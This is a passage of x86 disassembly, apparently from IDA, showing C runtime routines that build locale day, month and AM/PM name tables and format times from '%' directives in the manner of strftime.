		mov	ecx, [ebp-14h]
		add	ecx, 1
		mov	[ebp-14h], ecx


loc_42F9A9:				; CODE XREF: .data:0042F907j
		mov	eax, [ebp-4]
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		mov	eax, off_4482A8
		mov	[ebp-0Ch], eax
		mov	dword ptr [ebp-8], 0
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_42F9E8
; ---------------------------------------------------------------------------


loc_42F9DF:				; CODE XREF: .data:0042FA20j
		mov	ecx, [ebp-10h]
		add	ecx, 1
		mov	[ebp-10h], ecx


loc_42F9E8:				; CODE XREF: .data:0042F9DDj
		cmp	dword ptr [ebp-10h], 0Ch
		jnb	short loc_42FA22
		mov	edx, [ebp-10h]
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+edx*4+38h]
		push	ecx
		call	sub_414EC0
		add	esp, 4
		mov	esi, eax
		mov	edx, [ebp-10h]
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+edx*4+68h]
		push	ecx
		call	sub_414EC0
		add	esp, 4
		add	eax, [ebp-8]
		lea	edx, [eax+esi+2]
		mov	[ebp-8], edx
		jmp	short loc_42F9DF
; ---------------------------------------------------------------------------


loc_42FA22:				; CODE XREF: .data:0042F9ECj
		mov	eax, [ebp-8]
		add	eax, 1
		push	eax
		call	sub_415090
		add	esp, 4
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jz	loc_42FADB
		mov	ecx, [ebp-4]
		mov	[ebp-14h], ecx
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_42FA56
; ---------------------------------------------------------------------------


loc_42FA4D:				; CODE XREF: .data:0042FACAj
		mov	edx, [ebp-10h]
		add	edx, 1
		mov	[ebp-10h], edx


loc_42FA56:				; CODE XREF: .data:0042FA4Bj
		cmp	dword ptr [ebp-10h], 0Ch
		jnb	short loc_42FACC
		mov	eax, [ebp-14h]
		mov	byte ptr [eax],	3Ah
		mov	ecx, [ebp-14h]
		add	ecx, 1
		mov	[ebp-14h], ecx
		mov	edx, [ebp-10h]
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+edx*4+38h]
		push	ecx
		mov	edx, [ebp-14h]
		push	edx
		call	sub_418870
		add	esp, 8
		push	eax
		call	sub_414EC0
		add	esp, 4
		mov	ecx, [ebp-14h]
		add	ecx, eax
		mov	[ebp-14h], ecx
		mov	edx, [ebp-14h]
		mov	byte ptr [edx],	3Ah
		mov	eax, [ebp-14h]
		add	eax, 1
		mov	[ebp-14h], eax
		mov	ecx, [ebp-10h]
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+ecx*4+68h]
		push	eax
		mov	ecx, [ebp-14h]
		push	ecx
		call	sub_418870
		add	esp, 8
		push	eax
		call	sub_414EC0
		add	esp, 4
		mov	edx, [ebp-14h]
		add	edx, eax
		mov	[ebp-14h], edx
		jmp	short loc_42FA4D
; ---------------------------------------------------------------------------


loc_42FACC:				; CODE XREF: .data:0042FA5Aj
		mov	eax, [ebp-14h]
		mov	byte ptr [eax],	0
		mov	ecx, [ebp-14h]
		add	ecx, 1
		mov	[ebp-14h], ecx


loc_42FADB:				; CODE XREF: .data:0042FA38j
		mov	eax, [ebp-4]
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	esi
		mov	eax, off_4482A8
		mov	[ebp-0Ch], eax
		mov	dword ptr [ebp-8], 0
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_42FB18
; ---------------------------------------------------------------------------


loc_42FB0F:				; CODE XREF: .data:0042FB4Fj
		mov	ecx, [ebp-10h]
		add	ecx, 1
		mov	[ebp-10h], ecx


loc_42FB18:				; CODE XREF: .data:0042FB0Dj
		cmp	dword ptr [ebp-10h], 7
		jnb	short loc_42FB51
		mov	edx, [ebp-10h]
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+edx*4]
		push	ecx
		call	sub_414EC0
		add	esp, 4
		mov	esi, eax
		mov	edx, [ebp-10h]
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+edx*4+1Ch]
		push	ecx
		call	sub_414EC0
		add	esp, 4
		add	eax, [ebp-8]
		lea	edx, [eax+esi+2]
		mov	[ebp-8], edx
		jmp	short loc_42FB0F
; ---------------------------------------------------------------------------


loc_42FB51:				; CODE XREF: .data:0042FB1Cj
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_42FB63
; ---------------------------------------------------------------------------


loc_42FB5A:				; CODE XREF: .data:0042FB9Bj
		mov	eax, [ebp-10h]
		add	eax, 1
		mov	[ebp-10h], eax


loc_42FB63:				; CODE XREF: .data:0042FB58j
		cmp	dword ptr [ebp-10h], 0Ch
		jnb	short loc_42FB9D
		mov	ecx, [ebp-10h]
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+ecx*4+38h]
		push	eax
		call	sub_414EC0
		add	esp, 4
		mov	esi, eax
		mov	ecx, [ebp-10h]
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+ecx*4+68h]
		push	eax
		call	sub_414EC0
		add	esp, 4
		add	eax, [ebp-8]
		lea	ecx, [eax+esi+2]
		mov	[ebp-8], ecx
		jmp	short loc_42FB5A
; ---------------------------------------------------------------------------


loc_42FB9D:				; CODE XREF: .data:0042FB67j
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+98h]
		push	eax
		call	sub_414EC0
		add	esp, 4
		mov	esi, eax
		mov	ecx, [ebp-0Ch]
		mov	edx, [ecx+9Ch]
		push	edx
		call	sub_414EC0
		add	esp, 4
		add	eax, [ebp-8]
		lea	eax, [eax+esi+2]
		mov	[ebp-8], eax
		mov	ecx, [ebp-0Ch]
		mov	edx, [ecx+0A0h]
		push	edx
		call	sub_414EC0
		add	esp, 4
		mov	ecx, [ebp-8]
		lea	edx, [ecx+eax+1]
		mov	[ebp-8], edx
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+0A4h]
		push	ecx
		call	sub_414EC0
		add	esp, 4
		mov	edx, [ebp-8]
		lea	eax, [edx+eax+1]
		mov	[ebp-8], eax
		mov	ecx, [ebp-0Ch]
		mov	edx, [ecx+0A8h]
		push	edx
		call	sub_414EC0
		add	esp, 4
		mov	ecx, [ebp-8]
		lea	edx, [ecx+eax+1]
		mov	[ebp-8], edx
		mov	eax, [ebp-8]
		add	eax, 0ACh
		push	eax
		call	sub_415090
		add	esp, 4
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jz	loc_42FE56
		mov	ecx, [ebp-4]
		mov	[ebp-18h], ecx
		mov	edx, [ebp-4]
		add	edx, 0ACh
		mov	[ebp-14h], edx
		push	0ACh
		mov	eax, off_4482A8
		push	eax
		mov	ecx, [ebp-4]
		push	ecx
		call	sub_419330
		add	esp, 0Ch
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_42FC7A
; ---------------------------------------------------------------------------


loc_42FC71:				; CODE XREF: .data:0042FCECj
		mov	edx, [ebp-10h]
		add	edx, 1
		mov	[ebp-10h], edx


loc_42FC7A:				; CODE XREF: .data:0042FC6Fj
		cmp	dword ptr [ebp-10h], 7
		jnb	short loc_42FCEE
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-18h]
		mov	edx, [ebp-14h]
		mov	[ecx+eax*4], edx
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-0Ch]
		mov	edx, [ecx+eax*4]
		push	edx
		mov	eax, [ebp-14h]
		push	eax
		call	sub_418870
		add	esp, 8
		push	eax
		call	sub_414EC0
		add	esp, 4
		mov	ecx, [ebp-14h]
		lea	edx, [ecx+eax+1]
		mov	[ebp-14h], edx
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-18h]
		mov	edx, [ebp-14h]
		mov	[ecx+eax*4+1Ch], edx
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-0Ch]
		mov	edx, [ecx+eax*4+1Ch]
		push	edx
		mov	eax, [ebp-14h]
		push	eax
		call	sub_418870
		add	esp, 8
		push	eax
		call	sub_414EC0
		add	esp, 4
		mov	ecx, [ebp-14h]
		lea	edx, [ecx+eax+1]
		mov	[ebp-14h], edx
		jmp	short loc_42FC71
; ---------------------------------------------------------------------------


loc_42FCEE:				; CODE XREF: .data:0042FC7Ej
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_42FD00
; ---------------------------------------------------------------------------


loc_42FCF7:				; CODE XREF: .data:0042FD74j
		mov	eax, [ebp-10h]
		add	eax, 1
		mov	[ebp-10h], eax


loc_42FD00:				; CODE XREF: .data:0042FCF5j
		cmp	dword ptr [ebp-10h], 0Ch
		jnb	short loc_42FD76
		mov	ecx, [ebp-10h]
		mov	edx, [ebp-18h]
		mov	eax, [ebp-14h]
		mov	[edx+ecx*4+38h], eax
		mov	ecx, [ebp-10h]
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+ecx*4+38h]
		push	eax
		mov	ecx, [ebp-14h]
		push	ecx
		call	sub_418870
		add	esp, 8
		push	eax
		call	sub_414EC0
		add	esp, 4
		mov	edx, [ebp-14h]
		lea	eax, [edx+eax+1]
		mov	[ebp-14h], eax
		mov	ecx, [ebp-10h]
		mov	edx, [ebp-18h]
		mov	eax, [ebp-14h]
		mov	[edx+ecx*4+68h], eax
		mov	ecx, [ebp-10h]
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+ecx*4+68h]
		push	eax
		mov	ecx, [ebp-14h]
		push	ecx
		call	sub_418870
		add	esp, 8
		push	eax
		call	sub_414EC0
		add	esp, 4
		mov	edx, [ebp-14h]
		lea	eax, [edx+eax+1]
		mov	[ebp-14h], eax
		jmp	short loc_42FCF7
; ---------------------------------------------------------------------------


loc_42FD76:				; CODE XREF: .data:0042FD04j
		mov	ecx, [ebp-18h]
		mov	edx, [ebp-14h]
		mov	[ecx+98h], edx
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+98h]
		push	ecx
		mov	edx, [ebp-14h]
		push	edx
		call	sub_418870
		add	esp, 8
		push	eax
		call	sub_414EC0
		add	esp, 4
		mov	ecx, [ebp-14h]
		lea	edx, [ecx+eax+1]
		mov	[ebp-14h], edx
		mov	eax, [ebp-18h]
		mov	ecx, [ebp-14h]
		mov	[eax+9Ch], ecx
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+9Ch]
		push	eax
		mov	ecx, [ebp-14h]
		push	ecx
		call	sub_418870
		add	esp, 8
		push	eax
		call	sub_414EC0
		add	esp, 4
		mov	edx, [ebp-14h]
		lea	eax, [edx+eax+1]
		mov	[ebp-14h], eax
		mov	ecx, [ebp-18h]
		mov	edx, [ebp-14h]
		mov	[ecx+0A0h], edx
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+0A0h]
		push	ecx
		mov	edx, [ebp-14h]
		push	edx
		call	sub_418870
		add	esp, 8
		push	eax
		call	sub_414EC0
		add	esp, 4
		mov	ecx, [ebp-14h]
		lea	edx, [ecx+eax+1]
		mov	[ebp-14h], edx
		mov	eax, [ebp-18h]
		mov	ecx, [ebp-14h]
		mov	[eax+0A4h], ecx
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+0A4h]
		push	eax
		mov	ecx, [ebp-14h]
		push	ecx
		call	sub_418870
		add	esp, 8
		push	eax
		call	sub_414EC0
		add	esp, 4
		mov	edx, [ebp-14h]
		lea	eax, [edx+eax+1]
		mov	[ebp-14h], eax
		mov	ecx, [ebp-18h]
		mov	edx, [ebp-14h]
		mov	[ecx+0A8h], edx


loc_42FE56:				; CODE XREF: .data:0042FC39j
		mov	eax, [ebp-4]
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	0
		mov	eax, [ebp+14h]
		push	eax
		mov	ecx, [ebp+10h]
		push	ecx
		mov	edx, [ebp+0Ch]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	sub_42FE80
		add	esp, 14h
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42FE80	proc near		; CODE XREF: .data:0042FE75p

var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		push	offset dword_4DE428
		call	dword_4E0454	; InterlockedIncrement
		cmp	dword_4DE424, 0
		jz	short loc_42FEBE
		push	offset dword_4DE428
		call	dword_4E0450	; InterlockedDecrement
		push	13h
		call	sub_41BC80
		add	esp, 4
		mov	[ebp+var_8], 1
		jmp	short loc_42FEC5
; ---------------------------------------------------------------------------


loc_42FEBE:				; CODE XREF: sub_42FE80+1Ej
		mov	[ebp+var_8], 0


loc_42FEC5:				; CODE XREF: sub_42FE80+3Cj
		cmp	[ebp+arg_10], 0
		jnz	short loc_42FED6
		mov	ecx, off_4482A8
		mov	[ebp+var_10], ecx
		jmp	short loc_42FEDC
; ---------------------------------------------------------------------------


loc_42FED6:				; CODE XREF: sub_42FE80+49j
		mov	edx, [ebp+arg_10]
		mov	[ebp+var_10], edx


loc_42FEDC:				; CODE XREF: sub_42FE80+54j
		mov	eax, [ebp+var_10]
		mov	[ebp+var_4], eax


loc_42FEE2:				; CODE XREF: sub_42FE80:loc_42FFCEj
		cmp	[ebp+var_C], 0
		jbe	loc_42FFD3
		mov	ecx, [ebp+arg_8]
		mov	dl, [ecx]
		mov	[ebp+var_14], dl
		cmp	[ebp+var_14], 0
		jz	short loc_42FF02
		cmp	[ebp+var_14], 25h
		jz	short loc_42FF07
		jmp	short loc_42FF61
; ---------------------------------------------------------------------------


loc_42FF02:				; CODE XREF: sub_42FE80+78j
		jmp	loc_42FFD3
; ---------------------------------------------------------------------------


loc_42FF07:				; CODE XREF: sub_42FE80+7Ej
		mov	eax, [ebp+arg_8]
		add	eax, 1
		mov	[ebp+arg_8], eax
		mov	dword_4DE30C, 0
		mov	ecx, [ebp+arg_8]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 23h
		jnz	short loc_42FF38
		mov	dword_4DE30C, 1
		mov	eax, [ebp+arg_8]
		add	eax, 1
		mov	[ebp+arg_8], eax


loc_42FF38:				; CODE XREF: sub_42FE80+A3j
		mov	ecx, [ebp+var_4]
		push	ecx
		lea	edx, [ebp+var_C]
		push	edx
		lea	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		mov	al, [edx]
		push	eax
		call	sub_430010
		add	esp, 14h
		mov	ecx, [ebp+arg_8]
		add	ecx, 1
		mov	[ebp+arg_8], ecx
		jmp	short loc_42FFCE
; ---------------------------------------------------------------------------


loc_42FF61:				; CODE XREF: sub_42FE80+80j
		mov	edx, [ebp+arg_8]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, off_447274
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 8000h
		test	edx, edx
		jz	short loc_42FFA9
		cmp	[ebp+var_C], 1
		jbe	short loc_42FFA9
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_8]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_8]
		add	ecx, 1
		mov	[ebp+arg_8], ecx
		mov	edx, [ebp+var_C]
		sub	edx, 1
		mov	[ebp+var_C], edx


loc_42FFA9:				; CODE XREF: sub_42FE80+FCj
					; sub_42FE80+102j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_8]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_8]
		add	ecx, 1
		mov	[ebp+arg_8], ecx
		mov	edx, [ebp+var_C]
		sub	edx, 1
		mov	[ebp+var_C], edx


loc_42FFCE:				; CODE XREF: sub_42FE80+DFj
		jmp	loc_42FEE2
; ---------------------------------------------------------------------------


loc_42FFD3:				; CODE XREF: sub_42FE80+66j
					; sub_42FE80:loc_42FF02j
		cmp	[ebp+var_8], 0
		jz	short loc_42FFE5
		push	13h
		call	sub_41BD20
		add	esp, 4
		jmp	short loc_42FFF0
; ---------------------------------------------------------------------------


loc_42FFE5:				; CODE XREF: sub_42FE80+157j
		push	offset dword_4DE428
		call	dword_4E0450	; InterlockedDecrement


loc_42FFF0:				; CODE XREF: sub_42FE80+163j
		cmp	[ebp+var_C], 0
		jbe	short loc_430004
		mov	eax, [ebp+arg_0]
		mov	byte ptr [eax],	0
		mov	eax, [ebp+arg_4]
		sub	eax, [ebp+var_C]


loc_430002:				; DATA XREF: .data:off_444304o
		jmp	short loc_430006
; ---------------------------------------------------------------------------


loc_430004:				; CODE XREF: sub_42FE80+174j
		xor	eax, eax


loc_430006:				; CODE XREF: sub_42FE80:loc_430002j
		mov	esp, ebp
		pop	ebp
		retn
sub_42FE80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430010	proc near		; CODE XREF: sub_42FE80+CEp
					; sub_4307E0+3ECp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		movsx	eax, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_C]
		sub	ecx, 25h
		mov	[ebp+var_C], ecx
		cmp	[ebp+var_C], 55h
		ja	loc_430578
		mov	eax, [ebp+var_C]
		xor	edx, edx
		mov	dl, byte_4305D9[eax]
		jmp	off_43057D[edx*4]


loc_430043:				; DATA XREF: .data:004305ADo
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+18h]
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+ecx*4]
		push	eax


loc_430058:				; DATA XREF: .data:00440218o
		call	sub_430630
		add	esp, 0Ch
		jmp	loc_430578
; ---------------------------------------------------------------------------


loc_430065:				; CODE XREF: sub_430010+2Cj
					; DATA XREF: .data:00430581o
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+18h]
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+ecx*4+1Ch]
		push	eax
		call	sub_430630
		add	esp, 0Ch
		jmp	loc_430578
; ---------------------------------------------------------------------------


loc_430088:				; CODE XREF: sub_430010+2Cj
					; DATA XREF: .data:004305B1o
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+10h]
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+ecx*4+38h]
		push	eax
		call	sub_430630
		add	esp, 0Ch
		jmp	loc_430578
; ---------------------------------------------------------------------------


loc_4300AB:				; CODE XREF: sub_430010+2Cj
					; DATA XREF: .data:00430585o
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+10h]
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+ecx*4+68h]
		push	eax
		call	sub_430630
		add	esp, 0Ch
		jmp	loc_430578
; ---------------------------------------------------------------------------


loc_4300CE:				; CODE XREF: sub_430010+2Cj
					; DATA XREF: .data:004305B5o
		cmp	dword_4DE30C, 0
		jz	short loc_430156
		mov	dword_4DE30C, 0
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+0A4h]
		push	eax
		call	sub_4307E0
		add	esp, 14h
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx], 0
		jnz	short loc_430110
		jmp	loc_430578
; ---------------------------------------------------------------------------


loc_430110:				; CODE XREF: sub_430010+F9j
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		mov	byte ptr [eax],	20h
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx]
		sub	edx, 1
		mov	eax, [ebp+arg_C]
		mov	[eax], edx
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+0A8h]
		push	eax
		call	sub_4307E0
		add	esp, 14h
		jmp	short loc_4301C9
; ---------------------------------------------------------------------------


loc_430156:				; CODE XREF: sub_430010+C5j
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+0A0h]
		push	eax
		call	sub_4307E0
		add	esp, 14h
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx], 0
		jnz	short loc_430185
		jmp	loc_430578
; ---------------------------------------------------------------------------


loc_430185:				; CODE XREF: sub_430010+16Ej
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		mov	byte ptr [eax],	20h
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx]
		sub	edx, 1
		mov	eax, [ebp+arg_C]
		mov	[eax], edx
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+0A8h]
		push	eax
		call	sub_4307E0
		add	esp, 14h


loc_4301C9:				; CODE XREF: sub_430010+144j
		jmp	loc_430578
; ---------------------------------------------------------------------------


loc_4301CE:				; CODE XREF: sub_430010+2Cj
					; DATA XREF: .data:004305B9o
		mov	ecx, dword_4DE30C
		mov	dword_4DE310, ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		push	2
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+0Ch]
		push	edx
		call	sub_430680
		add	esp, 10h
		jmp	loc_430578
; ---------------------------------------------------------------------------


loc_4301F8:				; CODE XREF: sub_430010+2Cj
					; DATA XREF: .data:00430589o
		mov	eax, dword_4DE30C
		mov	dword_4DE310, eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		push	2
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		push	ecx
		call	sub_430680
		add	esp, 10h
		jmp	loc_430578
; ---------------------------------------------------------------------------


loc_430220:				; CODE XREF: sub_430010+2Cj
					; DATA XREF: .data:0043058Do
		mov	edx, dword_4DE30C
		mov	dword_4DE310, edx
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+8]
		cdq
		mov	ecx, 0Ch
		idiv	ecx
		mov	[ebp+var_4], edx
		cmp	[ebp+var_4], 0
		jnz	short loc_43024A
		mov	[ebp+var_4], 0Ch


loc_43024A:				; CODE XREF: sub_430010+231j
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		push	2
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_430680
		add	esp, 10h
		jmp	loc_430578
; ---------------------------------------------------------------------------


loc_430265:				; CODE XREF: sub_430010+2Cj
					; DATA XREF: .data:004305BDo
		mov	edx, dword_4DE30C
		mov	dword_4DE310, edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		push	3
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+1Ch]
		add	eax, 1
		push	eax
		call	sub_430680
		add	esp, 10h
		jmp	loc_430578
; ---------------------------------------------------------------------------


loc_430292:				; CODE XREF: sub_430010+2Cj
					; DATA XREF: .data:004305C1o
		mov	ecx, dword_4DE30C
		mov	dword_4DE310, ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		push	2
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+10h]
		add	edx, 1
		push	edx
		call	sub_430680
		add	esp, 10h
		jmp	loc_430578
; ---------------------------------------------------------------------------


loc_4302BF:				; CODE XREF: sub_430010+2Cj
					; DATA XREF: .data:00430591o
		mov	eax, dword_4DE30C
		mov	dword_4DE310, eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		push	2
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+4]
		push	ecx
		call	sub_430680
		add	esp, 10h
		jmp	loc_430578
; ---------------------------------------------------------------------------


loc_4302E7:				; CODE XREF: sub_430010+2Cj
					; DATA XREF: .data:004305C5o
		mov	edx, [ebp+arg_4]
		cmp	dword ptr [edx+8], 0Bh
		jg	short loc_43030C
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+98h]
		push	eax
		call	sub_430630
		add	esp, 0Ch
		jmp	short loc_430326
; ---------------------------------------------------------------------------


loc_43030C:				; CODE XREF: sub_430010+2DEj
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax+9Ch]
		push	ecx
		call	sub_430630
		add	esp, 0Ch


loc_430326:				; CODE XREF: sub_430010+2FAj
		jmp	loc_430578
; ---------------------------------------------------------------------------


loc_43032B:				; CODE XREF: sub_430010+2Cj
					; DATA XREF: .data:00430595o
		mov	edx, dword_4DE30C
		mov	dword_4DE310, edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		push	2
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		push	eax
		call	sub_430680
		add	esp, 10h
		jmp	loc_430578
; ---------------------------------------------------------------------------


loc_430354:				; CODE XREF: sub_430010+2Cj
					; DATA XREF: .data:00430599o
		mov	ecx, dword_4DE30C
		mov	dword_4DE310, ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+18h]
		mov	[ebp+var_8], eax
		jmp	short loc_4303BD
; ---------------------------------------------------------------------------


loc_43036B:				; CODE XREF: sub_430010+2Cj
					; DATA XREF: .data:004305C9o
		mov	ecx, dword_4DE30C
		mov	dword_4DE310, ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		push	1
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+18h]
		push	edx
		call	sub_430680
		add	esp, 10h
		jmp	loc_430578
; ---------------------------------------------------------------------------


loc_430395:				; CODE XREF: sub_430010+2Cj
					; DATA XREF: .data:0043059Do
		mov	eax, dword_4DE30C
		mov	dword_4DE310, eax
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [ecx+18h], 0
		jnz	short loc_4303B1
		mov	[ebp+var_8], 6
		jmp	short loc_4303BD
; ---------------------------------------------------------------------------


loc_4303B1:				; CODE XREF: sub_430010+396j
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+18h]
		sub	eax, 1
		mov	[ebp+var_8], eax


loc_4303BD:				; CODE XREF: sub_430010+359j
					; sub_430010+39Fj
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+1Ch]
		cmp	edx, [ebp+var_8]
		jge	short loc_4303D1
		mov	[ebp+var_4], 0
		jmp	short loc_4303FE
; ---------------------------------------------------------------------------


loc_4303D1:				; CODE XREF: sub_430010+3B6j
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+1Ch]
		cdq
		mov	ecx, 7
		idiv	ecx
		mov	[ebp+var_4], eax
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+1Ch]
		cdq
		mov	ecx, 7
		idiv	ecx
		cmp	edx, [ebp+var_8]
		jl	short loc_4303FE
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_4303FE:				; CODE XREF: sub_430010+3BFj
					; sub_430010+3E3j
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		push	2
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_430680
		add	esp, 10h
		jmp	loc_430578
; ---------------------------------------------------------------------------


loc_430419:				; CODE XREF: sub_430010+2Cj
					; DATA XREF: .data:004305CDo
		cmp	dword_4DE30C, 0
		jz	short loc_430450
		mov	dword_4DE30C, 0
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_10]
		mov	edx, [ecx+0A4h]
		push	edx
